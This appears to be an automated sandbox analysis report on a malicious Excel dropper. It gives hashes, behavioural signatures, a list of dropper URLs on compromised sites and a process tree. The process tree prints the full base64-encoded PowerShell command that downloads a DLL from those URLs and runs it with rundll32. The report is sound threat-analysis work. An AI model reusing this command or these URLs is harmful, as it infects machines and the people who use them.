Analysis
- max time kernel
38s - max time network
42s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
31/01/2022, 17:18
Static task
static1
Behavioral task
behavioral1
Sample
file3101.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
file3101.xls
Resource
win10v2004-en-20220113
General
- Target file3101.xls
- Size 134KB
- Sample220131-vvaf1aagg6
- SHA256 501d0c031e413bc3abe93198d5d94db766729094634adfd29df1200fe762a83f
- MD5 15a5f64dbd957b2e65f873a1da328866
- SHA1 031224ae2f2b52e0d40d1e090ebe70c6da7243aa
- SHA512 7d319442eb22bd5bfbea5d8bc307f99d3f14dea2e0a73d7d3f6a60d5a3bff77c5812ffd8146722572ff596503bf6a2f619038d26aa9170e5fb8c3dc4d282e87b
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://tastedonline.com/cgi-bin/14Lg3P2Dt3rqBmaYZO/
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exe.dropper
http://store.anicyber.com/wp-content/0JIWtpJt681mQ/
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exe.dropper
http://jeffreylubin.igclout.com/wp-admin/gJ5oDbi/
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exe.dropper
https://dulichkhampha24.net/wp-content/rPThO/
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exe.dropper
http://dev.learncaraudio.com/wp-admin/ZIwWVcNiED4JYqnq/
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exe.dropper
http://karensgardentips.com/cgi-bin/w9i3PIVDOJDeF095ST/
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exe.dropper
http://stancewheels.com/wp-admin/ur031GNgTubBSslqN/
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exe.dropper
http://laohange.com/wp-content/brPqH/
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exe.dropper
http://139.99.89.211/wp-admin/VM1HRb3b0MGGdp/
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exe.dropper
http://onexone.elementor.cloud/cdrxhrt/632SFiWmT1Y/
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exe.dropper
https://lastregaristorante.com/wp-admin/vkXFRVu/
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exe.dropper
http://sellin.app/wp-admin/0W4AcWvFkHkV/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2544 3392 cmd.exe 81 - Sets service image path in registry 2 TTPs
- Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3392 EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 3804 svchost.exe Token: SeCreatePagefilePrivilege 3804 svchost.exe Token: SeShutdownPrivilege 3804 svchost.exe Token: SeCreatePagefilePrivilege 3804 svchost.exe Token: SeShutdownPrivilege 3804 svchost.exe Token: SeCreatePagefilePrivilege 3804 svchost.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE 3392 EXCEL.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3392 wrote to memory of 2544 3392 EXCEL.EXE 89 PID 3392 wrote to memory of 2544 3392 EXCEL.EXE 89 PID 2544 wrote to memory of 3164 2544 cmd.exe 91 PID 2544 wrote to memory of 3164 2544 cmd.exe 91 PID 2544 wrote to memory of 3612 2544 cmd.exe 95 PID 2544 wrote to memory of 3612 2544 cmd.exe 95
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file3101.xls"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3164
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A3⤵PID:3612
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe d2383b7d73e768b191fe5ce4fda33f1f jW5FwuBBW0STXcRNHPSlVw.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:3576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3804